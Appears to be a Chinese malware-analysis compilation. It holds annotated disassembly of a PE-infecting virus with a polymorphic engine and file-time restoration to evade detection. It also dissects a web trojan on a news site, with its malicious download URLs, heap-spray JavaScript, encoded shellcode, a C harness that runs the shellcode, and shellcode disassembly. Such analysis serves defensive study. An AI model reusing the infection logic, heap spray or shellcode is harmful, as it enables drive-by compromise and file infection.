00412AC2 50 PUSH EAX 00412AC3 53 PUSH EBX 00412AC4 51 PUSH ECX 00412AC5 52 PUSH EDX 00412AC6 8BC3 MOV EAX,EBX 00412AC8 8BCB MOV ECX,EBX 00412ACA 25 FF000000 AND EAX,0FF 00412ACF 50 PUSH EAX \\\\这段代码应该是变形引擎的随机数选择段 00412AD0 C1E8 04 SHR EAX,4 00412AD3 24 07 AND AL,7 00412AD5 3C 05 CMP AL,5 00412AD7 76 02 JBE SHORT CLSPACK.00412ADB 00412AD9 2C 02 SUB AL,2 00412ADB 8AD8 MOV BL,AL 00412ADD 58 POP EAX 00412ADE 24 07 AND AL,7 00412AE0 3C 05 CMP AL,5 00412AE2 76 02 JBE SHORT CLSPACK.00412AE6 00412AE4 2C 04 SUB AL,4 00412AE6 38D8 CMP AL,BL 00412AE8 75 34 JNZ SHORT CLSPACK.00412B1E 00412AEA 8BD9 MOV EBX,ECX 00412AEC C1EB 08 SHR EBX,8 00412AEF 8BC3 MOV EAX,EBX 00412AF1 25 FF000000 AND EAX,0FF 00412AF6 50 PUSH EAX 00412AF7 C1E8 04 SHR EAX,4 00412AFA 24 07 AND AL,7 00412AFC 3C 05 CMP AL,5 00412AFE 76 02 JBE SHORT CLSPACK.00412B02 00412B00 2C 02 SUB AL,2 00412B02 8AD8 MOV BL,AL 00412B04 58 POP EAX 00412B05 24 07 AND AL,7 00412B07 3C 05 CMP AL,5 00412B09 76 02 JBE SHORT CLSPACK.00412B0D 00412B0B 2C 04 SUB AL,4 00412B0D 38D8 CMP AL,BL 00412B0F 75 0D JNZ SHORT CLSPACK.00412B1E 00412B11 3C 05 CMP AL,5 00412B13 74 04 JE SHORT CLSPACK.00412B19 00412B15 FEC3 INC BL 00412B17 EB 05 JMP SHORT CLSPACK.00412B1E 00412B19 80E2 03 AND DL,3 00412B1C 8ADA MOV BL,DL 00412B1E 83E0 07 AND EAX,7 00412B21 83E3 07 AND EBX,7 00412B24 83E1 07 AND ECX,7 00412B27 E8 6C050000 CALL CLSPACK.00413098 \\\\这个CALL根椐上面产生的随机数产生随机代码,(里面包含一张表) 00412B2C 5A POP EDX 00412B2D 59 POP ECX 00412B2E 5B POP EBX 00412B2F 58 POP EAX 00412B30 81E3 FF0F0000 AND EBX,0FFF 00412B36 899F 7F100000 MOV DWORD PTR DS:[EDI+107F],EBX 00412B3C B9 46310000 MOV ECX,3146 00412B41 2BCB SUB ECX,EBX 00412B43 898F 85100000 MOV DWORD PTR DS:[EDI+1085],ECX 00412B49 59 POP ECX 00412B4A 5B POP EBX 00412B4B 8987 8F100000 MOV DWORD PTR DS:[EDI+108F],EAX 00412B51 66:C746 09 54C3 MOV WORD PTR DS:[ESI+9],0C354 \\\\写入感染标志,这个位置为PE文件的TimeDateStamp处 00412B57 8B46 28 MOV EAX,DWORD PTR DS:[ESI+28] \\\\原AddressOfEntryPoint 00412B5A 8987 5F060000 MOV DWORD PTR DS:[EDI+65F],EAX \\\\呵呵,在解密后的病毒+65F处可以看见 可爱的入口地址 00412B60 8B46 38 MOV EAX,DWORD PTR DS:[ESI+38] \\\\SectionAlignment 00412B63 8987 942E0000 MOV DWORD PTR DS:[EDI+2E94],EAX 00412B69 8B46 34 MOV EAX,DWORD PTR DS:[ESI+34] \\\\ImageBase 00412B6C 8987 B2300000 MOV DWORD PTR DS:[EDI+30B2],EAX 00412B72 8D5E 18 LEA EBX,DWORD PTR DS:[ESI+18] \\\\Magic 00412B75 33D2 XOR EDX,EDX 00412B77 66:8B56 14 MOV DX,WORD PTR DS:[ESI+14] \\\\SizeOfOptionHeader 00412B7B 03DA ADD EBX,EDX \\\\EBX->第一个节表 00412B7D 33C9 XOR ECX,ECX 00412B7F 66:8B4E 06 MOV CX,WORD PTR DS:[ESI+6] \\\\NumberOfSections 00412B83 8B46 28 MOV EAX,DWORD PTR DS:[ESI+28] \\\\AddressofEntryPoint 00412B86 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] \\\\VirtualAddress 00412B89 3BC2 CMP EAX,EDX 00412B8B 72 07 JB SHORT CLSPACK.00412B94 \\\\如果AddressOfEntryPoint 00412B8D 0353 08 ADD EDX,DWORD PTR DS:[EBX+8] \\\\VirtualSize 00412B90 3BC2 CMP EAX,EDX 00412B92 76 18 JBE SHORT CLSPACK.00412BAC \\\\如果入口点在当前节中则跳 00412B94 83C3 28 ADD EBX,28 00412B97 ^E2 EA LOOPD SHORT CLSPACK.00412B83 00412B99 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412BA0 74 05 JE SHORT CLSPACK.00412BA7 00412BA2 E9 43030000 JMP CLSPACK.00412EEA 00412BA7 E9 F5190000 JMP CLSPACK.004145A1 00412BAC 50 PUSH EAX 00412BAD 52 PUSH EDX 00412BAE 05 00020000 ADD EAX,200 00412BB3 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] \\\\VirtualAddress 00412BB6 0353 10 ADD EDX,DWORD PTR DS:[EBX+10] \\\\SizeOfRawData 00412BB9 3BC2 CMP EAX,EDX 00412BBB 5A POP EDX 00412BBC 58 POP EAX 00412BBD 77 24 JA SHORT CLSPACK.00412BE3 00412BBF 50 PUSH EAX 00412BC0 0346 34 ADD EAX,DWORD PTR DS:[ESI+34] \\\\ImageBase 00412BC3 8987 18060000 MOV DWORD PTR DS:[EDI+618],EAX \\\\ImageBase+AddressOfEntryPoint 00412BC9 8B43 24 MOV EAX,DWORD PTR DS:[EBX+24] \\\\Characteristics 00412BCC 0D 00000020 OR EAX,20000000 \\\\IMAGE_SCN_MEM_EXECUTE 00412BD1 8943 24 MOV DWORD PTR DS:[EBX+24],EAX \\\\写回 00412BD4 58 POP EAX \\\\AddressOfEntryPoint 00412BD5 2B43 0C SUB EAX,DWORD PTR DS:[EBX+C] \\\\EAX-VirtualAddress 00412BD8 0343 14 ADD EAX,DWORD PTR DS:[EBX+14] \\\\PointerToRawData 00412BDB 8987 A22E0000 MOV DWORD PTR DS:[EDI+2EA2],EAX \\\\EAX->FileOffset 00412BE1 EB 2F JMP SHORT CLSPACK.00412C12 00412BE3 50 PUSH EAX 00412BE4 52 PUSH EDX 00412BE5 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] 00412BE8 8956 28 MOV DWORD PTR DS:[ESI+28],EDX 00412BEB 0356 34 ADD EDX,DWORD PTR DS:[ESI+34] 00412BEE 8997 18060000 MOV DWORD PTR DS:[EDI+618],EDX 00412BF4 8B43 24 MOV EAX,DWORD PTR DS:[EBX+24] 00412BF7 0D 00000020 OR EAX,20000000 00412BFC 8943 24 MOV DWORD PTR DS:[EBX+24],EAX 00412BFF 5A POP EDX 00412C00 58 POP EAX 00412C01 8B43 14 MOV EAX,DWORD PTR DS:[EBX+14] 00412C04 8987 A22E0000 MOV DWORD PTR DS:[EDI+2EA2],EAX 00412C0A 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX 00412C10 EB 79 JMP SHORT CLSPACK.00412C8B 00412C12 8D5E 18 LEA EBX,DWORD PTR DS:[ESI+18] \\\\ESI->'PE' 00412C15 33D2 XOR EDX,EDX 00412C17 66:8B56 14 MOV DX,WORD PTR DS:[ESI+14] 00412C1B 03DA ADD EBX,EDX \\\\EBX->.text 00412C1D 33C9 XOR ECX,ECX 00412C1F 66:8B4E 06 MOV CX,WORD PTR DS:[ESI+6] \\\\NumberOfSections 00412C23 8B43 10 MOV EAX,DWORD PTR DS:[EBX+10] \\\\SizeOfRawData 00412C26 2B43 08 SUB EAX,DWORD PTR DS:[EBX+8] \\\\VirtualSize 00412C29 3B87 AE300000 CMP EAX,DWORD PTR DS:[EDI+30AE] \\\\CMP EAX,200 00412C2F 7D 37 JGE SHORT CLSPACK.00412C68 00412C31 8B46 28 MOV EAX,DWORD PTR DS:[ESI+28] 00412C34 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] 00412C37 3BC2 CMP EAX,EDX 00412C39 72 07 JB SHORT CLSPACK.00412C42 00412C3B 0353 08 ADD EDX,DWORD PTR DS:[EBX+8] 00412C3E 3BC2 CMP EAX,EDX 00412C40 76 18 JBE SHORT CLSPACK.00412C5A 00412C42 83C3 28 ADD EBX,28 00412C45 ^E2 DC LOOPD SHORT CLSPACK.00412C23 00412C47 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412C4E 74 05 JE SHORT CLSPACK.00412C55 00412C50 E9 95020000 JMP CLSPACK.00412EEA 00412C55 E9 47190000 JMP CLSPACK.004145A1 00412C5A 2B43 0C SUB EAX,DWORD PTR DS:[EBX+C] 00412C5D 0343 14 ADD EAX,DWORD PTR DS:[EBX+14] 00412C60 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX //EPOFileOffset 00412C66 EB 23 JMP SHORT CLSPACK.00412C8B 00412C68 8B43 14 MOV EAX,DWORD PTR DS:[EBX+14] 00412C6B 0343 08 ADD EAX,DWORD PTR DS:[EBX+8] 00412C6E 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX 00412C74 8B43 0C MOV EAX,DWORD PTR DS:[EBX+C] 00412C77 0343 08 ADD EAX,DWORD PTR DS:[EBX+8] 00412C7A 8946 28 MOV DWORD PTR DS:[ESI+28],EAX 00412C7D 50 PUSH EAX 00412C7E 8B43 08 MOV EAX,DWORD PTR DS:[EBX+8] 00412C81 0387 AE300000 ADD EAX,DWORD PTR DS:[EDI+30AE] 00412C87 8943 08 MOV DWORD PTR DS:[EBX+8],EAX 00412C8A 58 POP EAX 00412C8B 83C3 28 ADD EBX,28 00412C8E ^E2 FB LOOPD SHORT CLSPACK.00412C8B \\\\定位到最后一个节上 00412C90 83EB 28 SUB EBX,28 00412C93 C743 24 400000C0 MOV DWORD PTR DS:[EBX+24],C0000040 \\\\改节属性 00412C9A 8B43 10 MOV EAX,DWORD PTR DS:[EBX+10] \\\\SizeOfRawData 00412C9D 50 PUSH EAX 00412C9E 0343 0C ADD EAX,DWORD PTR DS:[EBX+C] \\\\VirtualAddress 00412CA1 0346 34 ADD EAX,DWORD PTR DS:[ESI+34] \\\\Image 00412CA4 51 PUSH ECX 00412CA5 8A4E 08 MOV CL,BYTE PTR DS:[ESI+8] \\\\TimeDateStamp 00412CA8 80E1 1F AND CL,1F 00412CAB 888F 8B100000 MOV BYTE PTR DS:[EDI+108B],CL 00412CB1 D3C8 ROR EAX,CL 00412CB3 59 POP ECX 00412CB4 8987 7A100000 MOV DWORD PTR DS:[EDI+107A],EAX \\\\020CA000H 00412CBA B9 00320000 MOV ECX,3200 00412CBF 014B 10 ADD DWORD PTR DS:[EBX+10],ECX \\\\把最后一节大小加3200H 00412CC2 014E 20 ADD DWORD PTR DS:[ESI+20],ECX \\\\SizeOfinitializeData+3200H 00412CC5 8B43 10 MOV EAX,DWORD PTR DS:[EBX+10] 00412CC8 3B43 08 CMP EAX,DWORD PTR DS:[EBX+8] 00412CCB 76 03 JBE SHORT CLSPACK.00412CD0 00412CCD 8943 08 MOV DWORD PTR DS:[EBX+8],EAX 00412CD0 05 FF0F0000 ADD EAX,0FFF 00412CD5 25 00F0FFFF AND EAX,FFFFF000 00412CDA 0343 0C ADD EAX,DWORD PTR DS:[EBX+C] 00412CDD 8946 50 MOV DWORD PTR DS:[ESI+50],EAX \\\\SizeOfImage 00412CE0 52 PUSH EDX 00412CE1 8B53 08 MOV EDX,DWORD PTR DS:[EBX+8] 00412CE4 0353 0C ADD EDX,DWORD PTR DS:[EBX+C] 00412CE7 3BC2 CMP EAX,EDX 00412CE9 73 03 JNB SHORT CLSPACK.00412CEE 00412CEB 8956 50 MOV DWORD PTR DS:[ESI+50],EDX 00412CEE 5A POP EDX 00412CEF 5A POP EDX 00412CF0 0353 14 ADD EDX,DWORD PTR DS:[EBX+14] 00412CF3 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] \\\\hFile 00412CF9 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412D00 75 05 JNZ SHORT CLSPACK.00412D07 00412D02 E9 75170000 JMP CLSPACK.0041447C 00412D07 51 PUSH ECX 00412D08 52 PUSH EDX 00412D09 6A 00 PUSH 0 00412D0B 53 PUSH EBX 00412D0C FF97 B12A0000 CALL DWORD PTR DS:[EDI+2AB1] \\\\GetFileSize 00412D12 5A POP EDX 00412D13 59 POP ECX 00412D14 83F8 00 CMP EAX,0 00412D17 0F84 CD010000 JE CLSPACK.00412EEA 00412D1D 8BDA MOV EBX,EDX 00412D1F 81C3 00020000 ADD EBX,200 00412D25 3BC3 CMP EAX,EBX 00412D27 0F87 BD010000 JA CLSPACK.00412EEA \\\\不符合感染条件则跳(空间不够大) 00412D2D 60 PUSHAD 00412D2E 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D34 6A 00 PUSH 0 00412D36 6A 00 PUSH 0 00412D38 8B97 A22E0000 MOV EDX,DWORD PTR DS:[EDI+2EA2] 00412D3E 52 PUSH EDX 00412D3F 53 PUSH EBX 00412D40 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] \\\\SetFilePointer 00412D46 83F8 00 CMP EAX,0 00412D49 61 POPAD 00412D4A 0F84 9A010000 JE CLSPACK.00412EEA 00412D50 60 PUSHAD 00412D51 6A 00 PUSH 0 00412D53 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412D59 50 PUSH EAX 00412D5A B8 04020000 MOV EAX,204 00412D5F 50 PUSH EAX 00412D60 8D87 A62E0000 LEA EAX,DWORD PTR DS:[EDI+2EA6] 00412D66 50 PUSH EAX 00412D67 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D6D 53 PUSH EBX 00412D6E FF97 9D2A0000 CALL DWORD PTR DS:[EDI+2A9D] \\\\ReadFileA 00412D74 83F8 00 CMP EAX,0 00412D77 61 POPAD 00412D78 0F84 6C010000 JE CLSPACK.00412EEA 00412D7E 83BF A6300000 00 CMP DWORD PTR DS:[EDI+30A6],0 00412D85 75 0A JNZ SHORT CLSPACK.00412D91 00412D87 C787 A6300000 6A>MOV DWORD PTR DS:[EDI+30A6],23EDA56A 00412D91 60 PUSHAD 00412D92 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D98 6A 00 PUSH 0 00412D9A 6A 00 PUSH 0 00412D9C 8B97 A22E0000 MOV EDX,DWORD PTR DS:[EDI+2EA2] 00412DA2 52 PUSH EDX 00412DA3 53 PUSH EBX 00412DA4 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] \\\\SetFilePointer 00412DAA 83F8 00 CMP EAX,0 00412DAD 61 POPAD 00412DAE 0F84 36010000 JE CLSPACK.00412EEA 00412DB4 60 PUSHAD 00412DB5 6A 00 PUSH 0 00412DB7 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412DBD 50 PUSH EAX 00412DBE B8 00020000 MOV EAX,200 00412DC3 50 PUSH EAX 00412DC4 8D87 4E3F0000 LEA EAX,DWORD PTR DS:[EDI+3F4E] 00412DCA 50 PUSH EAX 00412DCB 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412DD1 53 PUSH EBX 00412DD2 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] \\\\WriteFileA 00412DD8 83F8 00 CMP EAX,0 00412DDB 61 POPAD 00412DDC 0F84 08010000 JE CLSPACK.00412EEA 00412DE2 E8 F5030000 CALL CLSPACK.004131DC \\\\Xor [ESI],EAX len=1FCH 00412DE7 E8 21050000 CALL CLSPACK.0041330D \\\\ROR EAX,10H len=BF5H 00412DEC E8 3B050000 CALL CLSPACK.0041332C \\\\这里是五层加密的地方 00412DF1 E8 F9040000 CALL CLSPACK.004132EF 00412DF6 E8 C3040000 CALL CLSPACK.004132BE \\\\跟前面的五次解密顺序相反 00412DFB 60 PUSHAD 00412DFC E8 92030000 CALL CLSPACK.00413193 00412E01 61 POPAD 00412E02 60 PUSHAD 00412E03 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E09 6A 00 PUSH 0 00412E0B 6A 00 PUSH 0 00412E0D 52 PUSH EDX 00412E0E 53 PUSH EBX 00412E0F FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] 00412E15 83F8 00 CMP EAX,0 00412E18 61 POPAD 00412E19 0F84 CB000000 JE CLSPACK.00412EEA 00412E1F 60 PUSHAD 00412E20 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E26 6A 00 PUSH 0 00412E28 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412E2E 50 PUSH EAX 00412E2F 51 PUSH ECX 00412E30 8D87 4E3F0000 LEA EAX,DWORD PTR DS:[EDI+3F4E] 00412E36 50 PUSH EAX 00412E37 53 PUSH EBX 00412E38 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] 00412E3E 83F8 00 CMP EAX,0 00412E41 61 POPAD 00412E42 0F84 A2000000 JE CLSPACK.00412EEA 00412E48 60 PUSHAD 00412E49 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E4F 6A 00 PUSH 0 00412E51 6A 00 PUSH 0 00412E53 FFB7 902E0000 PUSH DWORD PTR DS:[EDI+2E90] 00412E59 53 PUSH EBX 00412E5A FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] 00412E60 83F8 00 CMP EAX,0 00412E63 61 POPAD 00412E64 0F84 80000000 JE CLSPACK.00412EEA 00412E6A 60 PUSHAD 00412E6B 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E71 6A 00 PUSH 0 00412E73 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412E79 , ; 50 PUSH EAX 00412E7A 68 00040000 PUSH 400 00412E7F 8D87 4A310000 LEA EAX,DWORD PTR DS:[EDI+314A] 00412E85 50 PUSH EAX 00412E86 53 PUSH EBX 00412E87 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] 00412E8D 83F8 00 CMP EAX,0 00412E90 61 POPAD 00412E91 74 57 JE SHORT CLSPACK.00412EEA 00412E93 60 PUSHAD 00412E94 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E9A 6A 00 PUSH 0 00412E9C 6A 00 PUSH 0 00412E9E FFB7 8C2E0000 PUSH DWORD PTR DS:[EDI+2E8C] 00412EA4 53 PUSH EBX 00412EA5 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] 00412EAB 83F8 00 CMP EAX,0 00412EAE 61 POPAD 00412EAF 74 39 JE SHORT CLSPACK.00412EEA 00412EB1 E8 0A050000 CALL CLSPACK.004133C0 00412EB6 E8 D20C0000 CALL CLSPACK.00413B8D 00412EBB E8 35030000 CALL CLSPACK.004131F5 00412EC0 60 PUSHAD 00412EC1 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412EC7 6A 00 PUSH 0 00412EC9 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412ECF 50 PUSH EAX 00412ED0 FFB7 AE300000 PUSH DWORD PTR DS:[EDI+30AE] 00412ED6 8D87 4A310000 LEA EAX,DWORD PTR DS:[EDI+314A] 00412EDC 50 PUSH EAX 00412EDD 53 PUSH EBX 00412EDE FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] 00412EE4 83F8 00 CMP EAX,0 00412EE7 61 POPAD 00412EE8 74 00 JE SHORT CLSPACK.00412EEA 00412EEA 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8] 00412EF0 83E8 2C SUB EAX,2C 00412EF3 83C0 14 ADD EAX,14 00412EF6 50 PUSH EAX 00412EF7 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8] 00412EFD 83E8 2C SUB EAX,2C 00412F00 83C0 0C ADD EAX,0C 00412F03 50 PUSH EAX 00412F04 8B87 B8290000 MOV EAX,DWORD PTR DS:[EDI+29B8] 00412F0A 83E8 2C SUB EAX,2C 00412F0D 83C0 04 ADD EAX,4 00412F10 50 PUSH EAX 00412F11 FFB7 882E0000 PUSH DWORD PTR DS:[EDI+2E88] 00412F17 FF97 B52A0000 CALL DWORD PTR DS:[EDI+2AB5] 00412F1D FFB7 882E0000 PUSH DWORD PTR DS:[EDI+2E88] 00412F23 FF97 792A0000 CALL DWORD PTR DS:[EDI+2A79] \\\\SetFileTime 恢复文件时间,防止被发现 00412F29 81BF 412B0000 88>CMP DWORD PTR DS:[EDI+2B41],88888888 00412F33 74 17 JE SHORT CLSPACK.00412F4C 00412F35 81BF 4D2B0000 CC>CMP DWORD PTR DS:[EDI+2B4D],CCCCCCCC 00412F3F 74 0B JE SHORT CLSPACK.00412F4C 00412F41 68 00100000 PUSH 1000 00412F46 FF97 A92A0000 CALL DWORD PTR DS:[EDI+2AA9] \\\\Sleep 00412F4C FFB7 842E0000 PUSH DWORD PTR DS:[EDI+2E84] 00412F52 FFB7 B4290000 PUSH DWORD PTR DS:[EDI+29B4] 00412F58 FF97 A12A0000 CALL DWORD PTR DS:[EDI+2AA1] \\\\SetFileAttrubutes 恢复文件属性 00412F5E 5E POP ESI 00412F5F C3 RETN 12.则解密原宿主程序代码(总共200字节), 恢复原AddressOfEntryPoint,执行原程序.
篇8：Ie0dayCVE0806网马分析病毒防范
【作者】：泉哥（riusksk.blogbus.com）
分析工具：
MDecoder 0.66
EditPlus 3.01
FreShow
VC 6.0
OllyDbg 1.10
样本来源：
网站(安徽新闻网)被 植入木马 log.mtian.net/?p=1152001
分析结果：
Log By Mdecoder
[root]www.ah.chinanews.com.cn/GuestBook/Images/con.wtxlj871/wenda./lpt9.mqhna976.asp(长安汽车这支股票怎么样？以后怎么样？--股票--)
[exp]1029a9.3322.org:225/yy2/(Exploit.Ie0dayCVE0806.a)
[script]1029a9.3322.org:225/yy2/mj.js
[virus]231ad.3322.org:225/yy2/no.exe
[exp]1029a9.3322.org:225/yy2/(Exploit.Ie0dayCVE0806.a)
[exp]1029a9.3322.org:225/yy2/(Exploit.Ie0dayCVE0806.a)
[script]js.160ads.com/i.js
[script]js.160ads.com/+s(sr)+
[iframe]js.160ads.com/+s(sr)+
代码分析：
挂马方式：
Exploit代码分析：
Index.htm：
//设置隐藏按钮
//挂上恶意脚本1029a9.3322.org:225/yy2/mj.js
mj.js：
function auc2{
a3=new Array(); //创建一数组对象array,而这些动态申请到的对象/变量都会被分配到堆中
var a5=0x86000-(a4.length*2); // 536KB减去shellcode字节数，主要用于计算每一喷射块除shellcode之外还需要多少字节需要用nop填充
var LFlwBa=unescape('%u0c0c%u0c0c');
while(LFlwBa.length
LFlwBa+=LFlwBa; //将每一喷射块中除shellcode外均用0c0c0c0c填充
};
var a6=LFlwBa.substring(0,a5/2);
delete LFlwBa;
for(i=0;i<270;i++){
a3[i]=a6+a6+a4; ////用一连串包括shellcode的喷射块去填充内存以实现heap spary
}
}
Shellcode 分析
先将shellcode部分去除连接符“+”,然后用FreShow执行ESC解码：
\\x58\\x58\\x58\\x58\\xEB\\x10\\x5B\\x4B\\x33\\xC9\\x66\\xB9\\xB8\\x03\\x80\\x34\\x0B\\xBD\\xE2\\xFA\\xEB\\x05\\xE8\\xEB\\xFF\\xFF\\xFF\\x54\\xd9\\x93\\x8e\\x8e\\x8f\\x8f\\x93\\xd2\\xcf\\xda\\x87\\x8f\\x92\\xd3\\xd2\\x93\\xd8\\xc5\\xd8\\xbd\\xbd\\xbd\\xEA……省略部分内容……\\xEA\\xEA\\xEA\\xEA\\xEA\\xEA\\xEA
用VC编写以下代码：
int main()
{
char shellcode[]=“\\x58\\x58\\x58\\x58\\xEB\\x10\\x5B\\x4B\\x33\\xC9\\x66\\xB9\\xB8\\x03\\x80\\x34\\x0B\\xBD\\xE2\\xFA\\xEB\\x05\\xE8\\xEB\\xFF\\ \\xBC\\xE4\\x55\\xF2\\xBF\\xBD\\xBD\\x5F\\x44\\x3C\\x51\\xBD\\xBC\\xBD\\xBD\\x36\\x61……省略部分内容……\\xBD\\xBD\\xD7\\xBD\\xD7\\xA7\\x8c\\xdc\\xd9\\x93\\x8e\\x8e\\x8f\\x8f\\x93\\xd2\\xcf\\xda\\x87\\x8f\\x8f\\x88\\x92\\xc4\\xc4\\x8f\\x92\\xd3\\xd2\\x93\\xd8\\xc5\\xd8\\xbd\\xbd\\xbd\\xEA\\xEA\\xEA\\xEA\\xEA\\xEA\\xEA\\xEA”;
__asm{
lea eax,shellcode
push eax
ret
}
return 0;
}
用VC编译成程序，然后用OD加载逆向分析,F8到shellcode后来到：
0012FBAC 58 POP EAX
0012FBAD 58 POP EAX
0012FBAE 58 POP EAX
0012FBAF 58 POP EAX
0012FBB0 EB 10 JMP SHORT 0012FBC2
0012FBB2 5B POP EBX
0012FBB3 4B DEC EBX
0012FBB4 33C9 XOR ECX,ECX
0012FBB6 66:B9 B803 MOV CX,3B8
0012FBBA 80340B BD XOR BYTE PTR DS:[EBX+ECX],0BD ; 循环异或解密后面的关键代码
0012FBBE ^ E2 FA LOOPD SHORT 0012FBBA
0012FBC0 EB 05 JMP SHORT 0012FBC7
0012FBC2 E8 EBFFFFFF CALL 0012FBB2 ; 必须F7跟进，否则结束进程
0012FBC7 E9 1E030000 JMP 0012FEEA ;无实际操作意义，相当于花指令，同时具有反调试作用，遇到call须单步跟进
0012FBCC 5F POP EDI
0012FBCD 64:A1 30000000 MOV EAX,DWORD PTR FS:[30] ; PEB结构
0012FBD3 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] ; PEB_LDR_DATA结构
0012FBD6 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] ; InInitializationOrderModuleList
0012FBD9 AD LODS DWORD PTR DS:[ESI] ; 指向kernel32.dll模块
0012FBDA 8B68 08 MOV EBP,DWORD PTR DS:[EAX+8] ; kernel32基址
0012FBDD 8BF7 MOV ESI,EDI
0012FBDF 6A 11 PUSH 11
0012FBE1 59 POP ECX ; ecx=0x11,相当于要循环获取17个函数地址
0012FBE2 E8 BE020000 CALL <_GetFunAddr> ; 获取函数地址,跟进此函数
{
0012FEA5 > 51 PUSH ECX
0012FEA6 56 PUSH ESI
0012FEA7 8B75 3C MOV ESI,DWORD PTR SS:[EBP+3C] ; PE头
0012FEAA 8B742E 78 MOV ESI,DWORD PTR DS:[ESI+EBP+78] ; 输出表RVA
0012FEAE 03F5 ADD ESI,EBP ; 输出表绝对地址
0012FEB0 56 PUSH ESI
0012FEB1 8B76 20 MOV ESI,DWORD PTR DS:[ESI+20] ; 函数名称表RVA
0012FEB4 03F5 ADD ESI,EBP ; 函数名称表绝对地址
0012FEB6 33C9 XOR ECX,ECX ; 计数器
0012FEB8 49 DEC ECX
0012FEB9 41 INC ECX ; 递增计数器，用于寻找下个函数名
0012FEBA AD LODS DWORD PTR DS:[ESI] ; 第一个函数名RVA
0012FEBB 03C5 ADD EAX,EBP ; 第一个函数名的绝对地址
0012FEBD 33DB XOR EBX,EBX
0012FEBF 0FBE10 MOVSX EDX,BYTE PTR DS:[EAX] ; 循环获取函数名的各个字符，直至遇到回车符0x0D
0012FEC2 3AD6 CMP DL,DH
0012FEC4 74 08 JE SHORT 0012FECE
0012FEC6 C1CB 07 ROR EBX,7 ; 对函数名进行hash运算，以简便后面函数搜索的过程
0012FEC9 03DA ADD EBX,EDX
0012FECB 40 INC EAX
0012FECC ^ EB F1 JMP SHORT 0012FEBF
0012FECE 3B1F CMP EBX,DWORD PTR DS:[EDI] ; 寻找匹配的函数名的hash值
0012FED0 ^ 75 E7 JNZ SHORT 0012FEB9
0012FED2 5E POP ESI
0012FED3 8B5E 24 MOV EBX,DWORD PTR DS:[ESI+24] ; 函数序号表RVA
0012FED6 03DD ADD EBX,EBP ; 函数序号表绝对地址
0012FED8 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2] ; 寻找当前匹配函数的序号值
0012FEDC 8B5E 1C MOV EBX,DWORD PTR DS:[ESI+1C] ; 函数地址表RVA
0012FEDF 03DD ADD EBX,EBP ; 函数地址表绝对地址
0012FEE1 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4] ; 获取当前匹配函数的RVA
0012FEE4 03C5 ADD EAX,EBP ; 当前匹配函数的绝对地址
0012FEE6 AB STOS DWORD PTR ES:[EDI] ; edi=函数地址
0012FEE7 5E POP ESI
0012FEE8 59 POP ECX
0012FEE9 C3 RETN
}
0012FBE7 90 NOP
0012FBE8 ^ E2 F8 LOOPD SHORT 0012FBE2 ; 循环获取以下函数的地址：GetModuleHandleA、GetTempPathA、CreateProcessInternalA、LoadLibraryA、GetProcAddress、ExitProcess、GetCurrentThreadId、Sleep、VirtualProtect、CreateFileA、GetFileSize、CreateFileMappingA、WriteFile、CloseHandle、SetFilePointer、MapViewOfFile、UnmapViewOfFile
0012FBEA 68 33320000 PUSH 3233
0012FBEF 68 55736572 PUSH 72657355 ; “User32”
0012FBF4 54 PUSH ESP
0012FBF5 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] ; kernel32.LoadLibraryA
0012FBF8 E8 BE010000 CALL <_CallEAX> ; 调用eax
0012FBFD 8BE8 MOV EBP,EAX
0012FBFF 6A 05 PUSH 5
0012FC01 59 POP ECX ; ecx=0x5,计数器
0012FC02 E8 9E020000 CALL <_GetFunAddr> ; 循环获取以下函数地址：EnumWindows、GetClassNameA、GetWindowThreadProcessId、DestroyWindow、MessageBeep
0012FC07 ^ E2 F9 LOOPD SHORT 0012FC02
0012FC09 68 6F6E0000 PUSH 6E6F
0012FC0E 68 75726C6D PUSH 6D6C7275 ; “urlmon”
0012FC13 54 PUSH ESP
0012FC14 FF16 CALL DWORD PTR DS:[ESI]
